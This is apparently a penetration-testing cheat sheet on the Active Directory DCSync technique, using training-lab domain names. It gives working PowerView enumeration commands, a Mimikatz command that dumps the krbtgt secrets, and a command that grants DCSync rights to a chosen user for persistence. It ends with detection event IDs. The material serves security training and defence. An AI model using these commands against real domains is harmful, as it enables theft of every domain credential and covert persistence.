DCSync

DCSync

The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

Important Notes about DCSync:

• The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.

• By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.

• If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

Enumeration

Check who has these permissions using powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}

Exploit

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Persistence

If you are a domain admin, you can grant this permissions to any user with the help of powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Then, you can check if the user was correctly assigned the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigation

• Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object

• Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified

• Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed

• AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner

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